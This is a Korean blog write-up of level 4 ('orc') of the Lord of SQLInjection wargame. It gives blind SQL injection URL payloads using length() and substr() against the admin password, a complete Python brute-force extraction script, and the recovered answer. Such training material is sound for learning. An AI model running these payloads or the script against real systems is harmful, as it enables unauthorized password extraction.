Wargame/LOS

LOS 4번 orc

D4tai1 2019. 9. 24.

Load of SQLinjection

[그림1] Quest

 

 

뒤에서 3번쨰 줄에 있는 내용을 보면

 if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");

DB에 저장된 admin의 패스워드입력받은 패스워드가 동일해야 한다고 적혀있네요.

 

if($result['id']) echo "<h2>Hello admin</h2>"

중간에 이런 내용이 있네요?

id가 admin이면 "Hello admin" 문자열을 출력해주네요?

 

이!! 말!! 은!!

 

장님공격(Blind SQL injection)을 하라는 말이네요.

 

눈감고 공격해볼까요?

 

먼저 id를 admin으로 만들어 볼까요?

 

https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=' or id='admin' %23 

[그림2] id를 admin으로 변경

 

https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=%' or id='admin' and length(pw)='1' %23 

이 구문과 같이 작성 후 

 

"Hello admin"문자열이 나오면 

그 숫자가 패스워드의 길이겠죠?

 

https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=' or id='admin' and substr(pw,1,1)='1 

이렇게 한자한자 입력하면서

"Hello admin" 문자열이 나오는 문자를 찾습니다.

 

 

위에서 말한 내용을 python3으로 작성해 보겠습니다.

먼저 세션정보를 얻어옵니다.

[그림3] PHPSESSID 얻어오기

 

import requests

URL = 'https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php'
header = {'PHPSESSID':'0cubcsidaodsf3oamc0drmbvl0'}

def get_length():
    for i in range(1,10):
        full_url = URL + "?pw=\' or id=\'admin\' and length(pw)=\'{}\' %23".format(i)
        res = requests.get(url=full_url, cookies=header)
        if "Hello admin" in res.text:
            print(' [+] pw_length : {}'.format(i))
            return i

def blind_injection(size):
    values = ''
    for i in range(ord('0'), ord('9') + 1):
        values += chr(i)
    for i in range(ord('A'), ord('Z') + 1):
        values += chr(i)
    for i in range(ord('a'), ord('z') + 1):
        values += chr(i)
        
    print('==== Blind_SQL_Injection ====')
    for x in range(1, size+1):
        print(' [*] ' + '{}'.format('#') * x + '{}'.format('X') * (size - x) + '...{}%'.format(100/8*x))
        for y in values:
            full_url = URL + "?pw=\' or id=\'admin\' and substr(pw,{},1)=\'{}".format(x, y)
            res = requests.get(url=full_url, cookies=header)

            if "Hello admin" in res.text:
                yield y

def main():
    pw_length = get_length()

    pw = ""
    for x in blind_injection(pw_length):
        pw += x

    print('\n [+] pw : ' + pw)

if __name__ == '__main__':
    main()

[그림4] exploit 결과

 

정답

더보기

https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=295d5844

 

입력 시 결과

[그림5] Clear

 

'Wargame > LOS' 카테고리의 다른 글

LOS 5번 wolfman  (0) 2019.09.25
LOS 3번 goblin  (0) 2019.09.22
LOS 2번 cobolt  (0) 2019.09.22
LOS 1번 gremlin  (0) 2019.09.22

댓글